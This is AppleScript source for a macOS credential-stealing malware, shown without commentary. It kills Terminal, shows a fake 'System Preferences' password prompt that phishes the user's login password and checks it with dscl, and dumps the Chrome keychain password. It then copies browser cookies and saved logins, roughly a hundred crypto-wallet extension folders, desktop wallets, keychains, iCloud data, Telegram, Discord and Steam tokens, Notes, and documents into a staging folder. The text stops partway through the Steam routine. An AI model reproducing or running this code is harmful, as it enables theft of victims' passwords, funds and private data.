try
do shell script "killall Terminal"
end try
property writemind : ""
on filesizer(paths)
set fsz to 0
try
set theItem to quoted form of POSIX path of paths
set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
end try
return fsz
end filesizer
on mkdir(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
do shell script "mkdir -p " & filePosixPath
end try
end mkdir
on FileName(filePath)
try
set reversedPath to (reverse of every character of filePath) as string
set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
set finalPath to (reverse of every character of trimmedPath) as string
return finalPath
end try
end FileName
on BeforeFileName(filePath)
try
set lastSlash to offset of "/" in (reverse of every character of filePath) as string
set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
return trimmedPath
end try
end BeforeFileName
on writeText(textToWrite, filePath)
try
set folderPath to BeforeFileName(filePath)
mkdir(folderPath)
set fileRef to (open for access filePath with write permission)
write textToWrite to fileRef starting at eof
close access fileRef
end try
end writeText
on debugLog(msg)
try
set ts to do shell script "date '+%H:%M:%S'"
writeText(ts & " | " & msg & return, writemind & "debug")
end try
end debugLog
on readwrite(path_to_file, path_as_save)
try
set fileContent to read path_to_file
set folderPath to BeforeFileName(path_as_save)
mkdir(folderPath)
do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
debugLog("COPY OK: " & path_to_file & " -> " & path_as_save)
on error errMsg
debugLog("COPY FAIL: " & path_to_file & " | " & errMsg)
end try
end readwrite
on isDirectory(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
set fileType to (do shell script "file -b " & filePosixPath)
if fileType ends with "directory" then
return true
end if
return false
end try
end isDirectory
on GrabFolderLimit(sourceFolder, destinationFolder)
try
debugLog("GrabFolderLimit: " & sourceFolder & " -> " & destinationFolder)
set bankSize to 0
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolderLimit(itemPath, savePath)
else
set fsz to filesizer(itemPath)
set bankSize to bankSize + fsz
if bankSize < 100 * 1024 * 1024 then
readwrite(itemPath, savePath)
end if
end if
end if
end repeat
on error errMsg
debugLog("GrabFolderLimit FAIL: " & sourceFolder & " | " & errMsg)
end try
end GrabFolderLimit
on GrabFolder(sourceFolder, destinationFolder)
try
debugLog("GrabFolder: " & sourceFolder & " -> " & destinationFolder)
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolder(itemPath, savePath)
else
readwrite(itemPath, savePath)
end if
end if
end repeat
end try
end GrabFolder
on checkvalid(username, password_entered)
try
set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkvalid
on getpwd(username, writemind, provided_password)
try
if provided_password is not equal to "" then
if checkvalid(username, provided_password) then
writeText("VALID: " & provided_password, writemind & "Password")
return provided_password
else
writeText(provided_password, writemind & "invalid_passwords.txt")
end if
end if
if checkvalid(username, "") then
set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
writeText(result as string, writemind & "masterpass-chrome")
writeText("NO_PASSWORD_REQUIRED", writemind & "Password")
return ""
else
set attemptCount to 0
set maxAttempts to 10
set validPassword to ""
set gotValidPassword to false
repeat while attemptCount < maxAttempts and gotValidPassword is false
set attemptCount to attemptCount + 1
set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
set result to display dialog "You should update the settings to launch the application." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
set password_entered to text returned of result
if password_entered is not equal to "" then
if checkvalid(username, password_entered) then
writeText("VALID: " & password_entered, writemind & "Password")
set validPassword to password_entered
set gotValidPassword to true
else
writeText("Attempt " & attemptCount & ": " & password_entered, writemind & "invalid_passwords.txt")
end if
end if
end repeat
if gotValidPassword then
return validPassword
else
writeText("NO_VALID_PASSWORD_AFTER_" & maxAttempts & "_ATTEMPTS", writemind & "Password")
return "__INVALID__"
end if
end if
end try
return "__INVALID__"
end getpwd
on grabPlugins(paths, savePath, pluginList, index)
try
set fileList to list folder paths without invisibles
repeat with PFile in fileList
repeat with Plugin in pluginList
if (PFile contains Plugin) then
set newpath to paths & PFile
set newsavepath to savePath & "/" & Plugin
if index then
set newsavepath to savePath & "/IndexedDB/" & PFile
end if
GrabFolder(newpath, newsavepath)
end if
end repeat
end repeat
end try
end grabPlugins
on Chromium(writemind, chromium_map)
debugLog("Chromium: starting")
set pluginList to {}
set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
set pluginList to pluginList & {"didegimhafipceonhjepacocaffmoppf", "oboonakemofpalcgghocfoadofidjkkk"}
set pluginList to pluginList & {"jgnfghanfbjmimbdmnjfofnbcgpkbegj", "mmhlniccooihdimnnjhamobppdhaolme"}
set pluginList to pluginList & {"dbfoemgnkgieejfkaddieamagdfepnff", "bhghoamapcdpbohphigoooaddinpkbai"}
set pluginList to pluginList & {"lojeokmpinkpmpbakfkfpgfhpapbgdnd", "ibpjepoimpcdofeoalokgpjafnjonkpc"}
set pluginList to pluginList & {"gmohoglkppnemohbcgjakmgengkeaphi", "gaedmjdfmmahhbjefcbgaolhhanlaolb"}
set pluginList to pluginList & {"oeljdldpnmdbchonielidgobddffflal", "ilgcnhelpchnceeipipijaljkblbcobl"}
set pluginList to pluginList & {"fooolghllnmhmmndgjiamiiodkpenpbb", "naepdomgkenhinolocfifgehidddafch"}
set pluginList to pluginList & {"bmikpgodpkclnkgmnpphehdgcimmided", "imloifkgjagghnncjkhggdhalmcnfklk"}
set pluginList to pluginList & {"jhfjfclepacoldmjmkmdlmganfaalklb", "chgfefjpcobfbnpmiokfjjaglahmnded"}
set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
debugLog("Chromium: found " & item 1 of chromium & " at " & item 2 of chromium & " profiles: " & (count of fileList))
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
set profileName to (item 1 of chromium & currentItem)
debugLog("Chromium: processing profile " & profileName & " path: " & item 2 of chromium & currentItem)
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to "/Network/Cookies") then
set CFile to "/Cookies"
end if
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
on error errMsg
debugLog("Chromium: NOT found " & item 1 of chromium & " at " & item 2 of chromium & " | " & errMsg)
end try
end repeat
end Chromium
on ChromiumWallets(writemind, chromium_map)
debugLog("ChromiumWallets: starting")
set walletConfig to {}
set walletConfig to walletConfig & {{"djclckkglechooblngghdinmeemkbgci", 1, 0, 0}}
set walletConfig to walletConfig & {{"ejbalbakoplchlghecdalmeeeajnimhm", 1, 0, 0}}
set walletConfig to walletConfig & {{"nkbihfbeogaeaoehlefnkodbefgpgknn", 1, 0, 1}}
set walletConfig to walletConfig & {{"ibnejdfjmmkpcnlpebklmnkoeoihofec", 1, 0, 0}}
set walletConfig to walletConfig & {{"fhbohimaelbohpjbbldcngcnapndodjp", 1, 0, 0}}
set walletConfig to walletConfig & {{"ffnbelfdoeiohenkjibnmadjiehjhajb", 1, 0, 1}}
set walletConfig to walletConfig & {{"hnfanknocfeofbddgcijnmhnfnkdnaad", 1, 0, 1}}
set walletConfig to walletConfig & {{"hpglfhgfnhbgpjdenjgmdgoeiappafln", 1, 0, 0}}
set walletConfig to walletConfig & {{"cjelfplplebdjjenllpjcblmjkfcffne", 1, 0, 0}}
set walletConfig to walletConfig & {{"kncchdigobghenbbaddojjnnaogfppfj", 1, 0, 0}}
set walletConfig to walletConfig & {{"nlbmnnijcnlegkjjpcfjclmcfggfefdm", 1, 0, 0}}
set walletConfig to walletConfig & {{"nanjmdknhkinifnkgdcggcfnhdaammmj", 1, 0, 0}}
set walletConfig to walletConfig & {{"fnjhmkhhmkbjkkabndcnnogagogbneec", 1, 0, 0}}
set walletConfig to walletConfig & {{"cphhlgmgameodnhkjdmkpanlelnlohao", 1, 0, 0}}
set walletConfig to walletConfig & {{"nhnkbkgjikgcigadomkphalanndcapjk", 1, 0, 0}}
set walletConfig to walletConfig & {{"kpfopkelmapcoipemfendmdcghnegimn", 1, 0, 0}}
set walletConfig to walletConfig & {{"aiifbnbfobpmeekipheeijimdpnlpgpp", 1, 0, 0}}
set walletConfig to walletConfig & {{"dmkamcknogkgcdfhhbddcghachkejeap", 1, 0, 0}}
set walletConfig to walletConfig & {{"fhmfendgdocmcbmfikdcogofphimnkno", 1, 0, 0}}
set walletConfig to walletConfig & {{"cnmamaachppnkjgnildpdmkaakejnhae", 1, 0, 0}}
set walletConfig to walletConfig & {{"jojhfeoedkpkglbfimdfabpdfjaoolaf", 1, 0, 0}}
set walletConfig to walletConfig & {{"flpiciilemghbmfalicajoolhkkenfel", 1, 0, 0}}
set walletConfig to walletConfig & {{"aeachknmefphepccionboohckonoeemg", 1, 0, 0}}
set walletConfig to walletConfig & {{"cgeeodpfagjceefieflmdfphplkenlfk", 1, 0, 0}}
set walletConfig to walletConfig & {{"pdadjkfkgcafgbceimcpbkalnfnepbnk", 1, 0, 0}}
set walletConfig to walletConfig & {{"acmacodkjbdgmoleebolmdjonilkdbch", 1, 0, 0}}
set walletConfig to walletConfig & {{"bfnaelmomeimhlpmgjnjophhpkkoljpa", 1, 0, 0}}
set walletConfig to walletConfig & {{"odbfpeeihdkbihmopkbjmoonfanlbfcl", 1, 0, 0}}
set walletConfig to walletConfig & {{"fhilaheimglignddkjgofkcbgekhenbh", 1, 0, 0}}
set walletConfig to walletConfig & {{"mgffkfbidihjpoaomajlbgchddlicgpn", 1, 0, 0}}
set walletConfig to walletConfig & {{"aodkkagnadcbobfpggfnjeongemjbjca", 1, 0, 0}}
set walletConfig to walletConfig & {{"hmeobnfnfcmdkdcmlblgagmfpfboieaf", 1, 1, 1}}
set walletConfig to walletConfig & {{"lpfcbjknijpeeillifnkikgncikgfhdo", 1, 0, 0}}
set walletConfig to walletConfig & {{"dngmlblcodfobpdpecaadgfbcggfjfnm", 1, 0, 0}}
set walletConfig to walletConfig & {{"lpilbniiabackdjcionkobglmddfbcjo", 1, 0, 0}}
set walletConfig to walletConfig & {{"bhhhlbepdkbapadjdnnojkbgioiodbic", 1, 0, 0}}
set walletConfig to walletConfig & {{"dkdedlpgdmmkkfjabffeganieamfklkm", 1, 0, 0}}
set walletConfig to walletConfig & {{"hcflpincpppdclinealmandijcmnkbgn", 1, 0, 0}}
set walletConfig to walletConfig & {{"mnfifefkajgofkcjkemidiaecocnkjeh", 1, 0, 0}}
set walletConfig to walletConfig & {{"ookjlbkiijinhpmnjffcofjonbfbgaoc", 1, 0, 0}}
set walletConfig to walletConfig & {{"jnkelfanjkeadonecabehalmbgpfodjm", 1, 0, 0}}
set walletConfig to walletConfig & {{"kjmoohlgokccodicjjfebfomlbljgfhk", 1, 0, 0}}
set walletConfig to walletConfig & {{"nlgbhdfgdhgbiamfdfmbikcdghidoadd", 1, 0, 0}}
set walletConfig to walletConfig & {{"jnmbobjmhlngoefaiojfljckilhhlhcj", 1, 0, 0}}
set walletConfig to walletConfig & {{"lodccjjbdhfakaekdiahmedfbieldgik", 1, 0, 0}}
set walletConfig to walletConfig & {{"jhgnbkkipaallpehbohjmkbjofjdmeid", 1, 0, 0}}
set walletConfig to walletConfig & {{"jnlgamecbpmbajjfhmmmlhejkemejdma", 1, 0, 0}}
set walletConfig to walletConfig & {{"kkpllkodjeloidieedojogacfhpaihoh", 1, 1, 1}}
set walletConfig to walletConfig & {{"mcohilncbfahbmgdjkbpemcciiolgcge", 1, 0, 0}}
set walletConfig to walletConfig & {{"epapihdplajcdnnkdeiahlgigofloibg", 1, 0, 0}}
set walletConfig to walletConfig & {{"gjagmgiddbbciopjhllkdnddhcglnemk", 1, 0, 0}}
set walletConfig to walletConfig & {{"kmhcihpebfmpgmihbkipmjlmmioameka", 1, 1, 1}}
set walletConfig to walletConfig & {{"phkbamefinggmakgklpkljjmgibohnba", 1, 0, 0}}
set walletConfig to walletConfig & {{"ejjladinnckdgjemekebdpeokbikhfci", 1, 0, 0}}
set walletConfig to walletConfig & {{"efbglgofoippbgcjepnhiblaibcnclgk", 1, 0, 0}}
set walletConfig to walletConfig & {{"cjmkndjhnagcfbpiemnkdpomccnjblmj", 1, 0, 0}}
set walletConfig to walletConfig & {{"aijcbedoijmgnlmjeegjaglmepbmpkpi", 1, 0, 0}}
set walletConfig to walletConfig & {{"gojhcdgcpbpfigcaejpfhfegekdgiblk", 1, 0, 1}}
set walletConfig to walletConfig & {{"egjidjbpglichdcondbcbdnbeeppgdph", 1, 0, 0}}
set walletConfig to walletConfig & {{"hbbgbephgojikajhfbomhlmmollphcad", 1, 0, 0}}
set walletConfig to walletConfig & {{"opfgelmcmbiajamepnmloijbpoleiama", 1, 0, 0}}
set walletConfig to walletConfig & {{"fiikommddbeccaoicoejoniammnalkfa", 1, 0, 0}}
set walletConfig to walletConfig & {{"bgjogpoidejdemgoochpnkmdjpocgkha", 1, 0, 0}}
set walletConfig to walletConfig & {{"jgaaimajipbpdogpdglhaphldakikgef", 1, 0, 0}}
set walletConfig to walletConfig & {{"kppfdiipphfccemcignhifpjkapfbihd", 1, 0, 0}}
set walletConfig to walletConfig & {{"lgmpcpglpngdoalbgeoldeajfclnhafa", 1, 0, 0}}
set walletConfig to walletConfig & {{"onhogfjeacnfoofkfgppdlbmlmnplgbn", 1, 0, 0}}
set walletConfig to walletConfig & {{"mmmjbcfofconkannjonfmjjajpllddbg", 1, 0, 0}}
set walletConfig to walletConfig & {{"loinekcabhlmhjjbocijdoimmejangoa", 1, 0, 0}}
set walletConfig to walletConfig & {{"heefohaffomkkkphnlpohglngmbcclhi", 1, 0, 0}}
set walletConfig to walletConfig & {{"idnnbdplmphpflfnlkomgpfbpcgelopg", 1, 0, 0}}
set walletConfig to walletConfig & {{"cnncmdhjacpkmjmkcafchppbnpnhdmon", 1, 0, 0}}
set walletConfig to walletConfig & {{"ocjdpmoallmgmjbbogfiiaofphbjgchh", 1, 0, 0}}
set walletConfig to walletConfig & {{"ojggmchlghnjlapmfbnjholfjkiidbch", 1, 0, 0}}
set walletConfig to walletConfig & {{"ciojocpkclfflombbcfigcijjcbkmhaf", 1, 0, 0}}
set walletConfig to walletConfig & {{"mkpegjkblkkefacfnmkajcjmabijhclg", 1, 0, 0}}
set walletConfig to walletConfig & {{"aflkmfhebedbjioipglgcbcmnbpgliof", 1, 0, 0}}
set walletConfig to walletConfig & {{"omaabbefbmiijedngplfjmnooppbclkk", 1, 0, 0}}
set walletConfig to walletConfig & {{"penjlddjkjgpnkllboccdgccekpkcbin", 1, 0, 0}}
set walletConfig to walletConfig & {{"apenkfbbpmhihehmihndmmcdanacolnh", 1, 0, 0}}
set walletConfig to walletConfig & {{"jiidiaalihmmhddjgbnbgdfflelocpak", 1, 0, 0}}
set walletConfig to walletConfig & {{"nphplpgoakhhjchkkhmiggakijnkhfnd", 1, 0, 0}}
set walletConfig to walletConfig & {{"fldfpgipfncgndfolcbkdeeknbbbnhcc", 1, 0, 0}}
set walletConfig to walletConfig & {{"nnpmfplkfogfpmcngplhnbdnnilmcdcg", 1, 0, 0}}
set walletConfig to walletConfig & {{"opcgpfmipidbgpenhmajoajpbobppdil", 1, 0, 1}}
set walletConfig to walletConfig & {{"ppbibelpcjmhbdihakflkdcoccbgbkpo", 1, 0, 0}}
set walletConfig to walletConfig & {{"gjnckgkfmgmibbkoficdidcljeaaaheg", 1, 0, 0}}
set walletConfig to walletConfig & {{"pdliaogehgdbhbnmkklieghmmjkpigpa", 1, 0, 0}}
set walletConfig to walletConfig & {{"anokgmphncpekkhclmingpimjmcooifb", 1, 0, 0}}
set walletConfig to walletConfig & {{"fpkhgmpbidmiogeglndfbkegfdlnajnf", 1, 0, 0}}
set walletConfig to walletConfig & {{"aholpfdialjgjfhomihkjbmgjidlcdno", 1, 0, 0}}
set walletConfig to walletConfig & {{"ebfidpplhabeedpnhjnobghokpiioolj", 1, 0, 0}}
set walletConfig to walletConfig & {{"dldjpboieedgcmpkchcjcbijingjcgok", 1, 0, 0}}
set walletConfig to walletConfig & {{"cpmkedoipcpimgecpmgpldfpohjplkpp", 1, 0, 0}}
set walletConfig to walletConfig & {{"bgpipimickeadkjlklgciifhnalhdjhe", 1, 0, 0}}
set walletConfig to walletConfig & {{"gkmegkoiplibopkmieofaaeloldidnko", 1, 0, 0}}
set walletConfig to walletConfig & {{"ckklhkaabbmdjkahiaaplikpdddkenic", 1, 0, 0}}
set walletConfig to walletConfig & {{"lnnnmfcpbkafcpgdilckhmhbkkbpkmid", 1, 0, 0}}
set walletConfig to walletConfig & {{"gafhhkghbfjjkeiendhlofajokpaflmk", 1, 0, 0}}
set walletConfig to walletConfig & {{"fcfcfllfndlomdhbehjjcoimbgofdncg", 1, 0, 0}}
set walletConfig to walletConfig & {{"ldinpeekobnhjjdofggfgjlcehhmanlj", 1, 0, 0}}
set walletConfig to walletConfig & {{"afbcbjpbpfadlkmhmclhkeeodmamcflc", 1, 0, 0}}
set walletConfig to walletConfig & {{"pcndjhkinnkaohffealmlmhaepkpmgkb", 1, 0, 0}}
set walletConfig to walletConfig & {{"ifckdpamphokdglkkdomedpdegcjhjdp", 1, 0, 0}}
set walletConfig to walletConfig & {{"fdcnegogpncmfejlfnffnofpngdiejii", 1, 0, 0}}
set walletConfig to walletConfig & {{"khpkpbbcccdmmclmpigdgddabeilkdpd", 1, 0, 1}}
set walletConfig to walletConfig & {{"cmndjbecilbocjfkibfbifhngkdmjgog", 1, 0, 0}}
set walletConfig to walletConfig & {{"fijngjgcjhjmmpcmkeiomlglpeiijkld", 1, 1, 1}}
set walletConfig to walletConfig & {{"amkmjjmmflddogmhpjloimipbofnfjih", 1, 0, 0}}
set walletConfig to walletConfig & {{"klghhnkeealcohjjanjjdaeeggmfmlpl", 1, 0, 1}}
repeat with chromium in chromium_map
set basePath to writemind & "Wallets/Browser/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
debugLog("ChromiumWallets: checking " & item 1 of chromium & " profiles: " & (count of fileList))
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
set profileName to (item 1 of chromium & currentItem)
set extPath to item 2 of chromium & currentItem & "/Local Extension Settings/"
debugLog("ChromiumWallets: scanning ext path: " & extPath)
try
set extList to list folder extPath without invisibles
debugLog("ChromiumWallets: " & profileName & " has " & (count of extList) & " extensions")
repeat with extItem in extList
repeat with wConfig in walletConfig
if (extItem as string) is equal to (item 1 of wConfig) then
debugLog("ChromiumWallets: MATCH ext " & (extItem as string) & " in " & profileName & " src: " & extPath & extItem)
set srcPath to extPath & extItem
set dstPath to basePath & currentItem & "/" & extItem
GrabFolder(srcPath, dstPath)
end if
end repeat
end repeat
on error errMsg
debugLog("ChromiumWallets: no ext folder for " & profileName & " | " & errMsg)
end try
end if
end repeat
on error errMsg
debugLog("ChromiumWallets: NOT found " & item 1 of chromium & " | " & errMsg)
end try
end repeat
end ChromiumWallets
on Gecko(writemind, gecko_map)
debugLog("Gecko: starting")
set geckoFiles to {"cookies.sqlite", "logins.json", "key4.db", "cert9.db", "places.sqlite", "formhistory.sqlite"}
repeat with gecko in gecko_map
set savePath to writemind & "Browsers/" & item 1 of gecko & "_"
try
set fileList to list folder item 2 of gecko without invisibles
debugLog("Gecko: found " & item 1 of gecko & " at " & item 2 of gecko & " profiles: " & (count of fileList))
repeat with currentItem in fileList
debugLog("Gecko: processing profile " & (currentItem as string) & " path: " & item 2 of gecko & currentItem)
set profilePath to item 2 of gecko & currentItem & "/"
repeat with GFile in geckoFiles
set readpath to profilePath & GFile
set writepath to savePath & currentItem & "/" & GFile
readwrite(readpath, writepath)
end repeat
end repeat
on error errMsg
debugLog("Gecko: NOT found " & item 1 of gecko & " at " & item 2 of gecko & " | " & errMsg)
end try
end repeat
end Gecko
on DesktopWallets(writemind, wallet_map)
debugLog("DesktopWallets: starting, count: " & (count of wallet_map))
repeat with wallet in wallet_map
try
debugLog("DesktopWallets: checking " & item 1 of wallet & " at " & item 2 of wallet)
GrabFolderLimit(item 2 of wallet, writemind & item 1 of wallet)
debugLog("DesktopWallets: done " & item 1 of wallet)
on error errMsg
debugLog("DesktopWallets: FAIL " & item 1 of wallet & " | " & errMsg)
end try
end repeat
end DesktopWallets
on Telegram(writemind, library)
debugLog("Telegram: starting")
try
set tgPath to library & "Telegram Desktop/tdata/"
debugLog("Telegram: checking " & tgPath)
set tgSave to writemind & "Telegram/"
set tgFiles to list folder tgPath without invisibles
debugLog("Telegram: tdata FOUND at " & tgPath & " files: " & (count of tgFiles))
repeat with tgFile in tgFiles
set tgFilePath to tgPath & tgFile
set tgFileSave to tgSave & tgFile
if isDirectory(tgFilePath) then
if (length of (tgFile as string)) is 16 then
GrabFolder(tgFilePath, tgFileSave)
end if
else
if (tgFile as string) ends with "s" and (length of (tgFile as string)) is 17 then
readwrite(tgFilePath, tgFileSave)
end if
if (tgFile as string) is "key_datas" then
readwrite(tgFilePath, tgFileSave)
end if
end if
end repeat
on error errMsg
debugLog("Telegram: NOT found | " & errMsg)
end try
end Telegram
on Keychains(writemind)
debugLog("Keychains: starting")
try
set keychainPath to (POSIX path of (path to home folder)) & "Library/Keychains/"
debugLog("Keychains: checking " & keychainPath)
set keychainSave to writemind & "Keychains/"
mkdir(keychainSave)
set kcFiles to list folder keychainPath without invisibles
debugLog("Keychains: FOUND " & (count of kcFiles) & " items at " & keychainPath)
repeat with kcFile in kcFiles
set kcFilePath to keychainPath & kcFile
set kcFileSave to keychainSave & kcFile
if isDirectory(kcFilePath) then
GrabFolder(kcFilePath, kcFileSave)
else
readwrite(kcFilePath, kcFileSave)
end if
end repeat
on error errMsg
debugLog("Keychains: FAIL | " & errMsg)
end try
end Keychains
on CloudKeys(writemind)
debugLog("CloudKeys: starting")
try
set cloudPath to (POSIX path of (path to home folder)) & "Library/Application Support/iCloud/Accounts/"
set cloudSave to writemind & "iCloud/"
debugLog("CloudKeys: checking " & cloudPath)
GrabFolder(cloudPath, cloudSave)
debugLog("CloudKeys: done")
on error errMsg
debugLog("CloudKeys: FAIL | " & errMsg)
end try
end CloudKeys
on Filegrabber(writemind, profile)
debugLog("Filegrabber: starting")
try
set grabberPath to writemind & "FileGrabber/"
mkdir(grabberPath)
set docExtensions to {"docx", "doc", "wallet", "key", "keys", "txt", "rtf", "csv", "xls", "xlsx", "json", "rdp"}
set imgExtensions to {"png"}
set sourceNames to {"Desktop", "Documents"}
repeat with srcName in sourceNames
set srcFolder to profile & "/" & srcName & "/"
set destFolder to grabberPath & srcName & "/"
mkdir(destFolder)
try
set fgSizeMB to (do shell script "du -sm " & quoted form of grabberPath & " 2>/dev/null | awk '{print $1}'") as integer
if fgSizeMB is greater than or equal to 150 then
debugLog("Filegrabber: total " & fgSizeMB & "MB >= 150MB limit, stopping")
exit repeat
end if
on error
set fgSizeMB to 0
end try
set fgLimitReached to false
repeat with ext in docExtensions
if fgLimitReached then exit repeat
try
set shellCmd to "find " & quoted form of srcFolder & " -maxdepth 3 -type f -iname '*." & ext & "' -size -2M -print0 2>/dev/null | head -30 | xargs -0 -I{} /bin/bash -c 'cp " & quote & "$0" & quote & " " & quote & destFolder & "${RANDOM}_$(basename " & quote & "$0" & quote & ")" & quote & "' {}"
do shell script shellCmd
end try
try
set fgSizeNow to (do shell script "du -sm " & quoted form of grabberPath & " 2>/dev/null | awk '{print $1}'") as integer
if fgSizeNow is greater than or equal to 150 then
debugLog("Filegrabber: " & fgSizeNow & "MB >= 150MB after ext " & ext & ", stopping")
set fgLimitReached to true
end if
on error
end try
end repeat
if not fgLimitReached then
repeat with ext in imgExtensions
if fgLimitReached then exit repeat
try
set shellCmd to "find " & quoted form of srcFolder & " -maxdepth 2 -type f -iname '*." & ext & "' -size -6M -print0 2>/dev/null | head -20 | xargs -0 -I{} /bin/bash -c 'cp " & quote & "$0" & quote & " " & quote & destFolder & "${RANDOM}_$(basename " & quote & "$0" & quote & ")" & quote & "' {}"
do shell script shellCmd
end try
try
set fgSizeNow to (do shell script "du -sm " & quoted form of grabberPath & " 2>/dev/null | awk '{print $1}'") as integer
if fgSizeNow is greater than or equal to 150 then
debugLog("Filegrabber: " & fgSizeNow & "MB >= 150MB after img ext " & ext & ", stopping")
set fgLimitReached to true
end if
on error
end try
end repeat
end if
end repeat
end try
try
readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
end try
try
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")
end try
try
set notesMediaDir to writemind & "Notes/Media/"
mkdir(notesMediaDir)
set notesAccountsPath to profile & "/Library/Group Containers/group.com.apple.notes/Accounts/"
set shellCmd to "find " & quoted form of notesAccountsPath & " -path '*/Media/*' -type f -size -5M 2>/dev/null"
set mediaFiles to do shell script shellCmd
if mediaFiles is not "" then
set mediaTotal to 0
set mediaLimit to 30000000
set mediaList to paragraphs of mediaFiles
repeat with mFile in mediaList
try
set mSize to (do shell script "stat -f%z " & quoted form of mFile) as integer
if (mediaTotal + mSize) > mediaLimit then exit repeat
set mName to do shell script "echo ${RANDOM}_$(basename " & quoted form of mFile & ")"
do shell script "cp " & quoted form of mFile & " " & quoted form of (notesMediaDir & mName)
set mediaTotal to mediaTotal + mSize
end try
end repeat
debugLog("Notes Media: copied " & ((mediaTotal / 1024 / 1024) as integer) & "MB")
end if
on error errMsg
debugLog("Notes Media: FAIL | " & errMsg)
end try
try
readwrite(profile & "/Library/Application Support/Google/Chrome/Default/History", writemind & "History-sqlite")
readwrite(profile & "/Library/Application Support/Google/Chrome/Default/History-journal", writemind & "History-sqlite-journal")
readwrite(profile & "/Library/Application Support/Firefox/Profiles/*/places.sqlite", writemind & "places.sqlite")
readwrite(profile & "/Library/Application Support/Firefox/Profiles/*/places.sqlite-wal", writemind & "places.sqlite-wal")
end try
end Filegrabber
on DiscordTokens(writemind, library)
debugLog("DiscordTokens: starting")
set discordVariants to {"discord", "discordcanary", "discordptb", "discorddevelopment"}
repeat with variant in discordVariants
try
set discordBase to library & variant & "/"
set leveldbPath to discordBase & "Local Storage/leveldb/"
debugLog("DiscordTokens: checking " & variant & " at " & leveldbPath)
set testResult to do shell script "test -d " & quoted form of leveldbPath & " && echo 1 || echo 0"
if testResult is "1" then
set savePath to writemind & "Discord/" & variant & "/leveldb/"
GrabFolder(leveldbPath, savePath)
debugLog("DiscordTokens: grabbed " & variant & " leveldb")
else
debugLog("DiscordTokens: " & variant & " NOT found")
end if
on error errMsg
debugLog("DiscordTokens: " & variant & " FAIL | " & errMsg)
end try
end repeat
end DiscordTokens
on SteamTokens(writemind, library)
debugLog("SteamTokens: starting")
try
set steamBase to library & "Steam/"
set steamConfig to steamBase & "config/"
debugLog("SteamTokens: checking " & steamBase)
set testResult to do shell script "test -d " & quoted form of steamBase & " && echo 1 || echo 0"
if testResult is "1" then
set steamSave to writemind & "Steam/"
mkdir(steamSave)
debugLog("SteamTokens: Steam folder found")
try
readwrite(steamConfig & "loginusers.vdf", steamSave & "loginusers.vdf")
on error errMsg
debugLog("SteamTokens: loginusers.vdf FAIL | " & errMsg)
end try
try
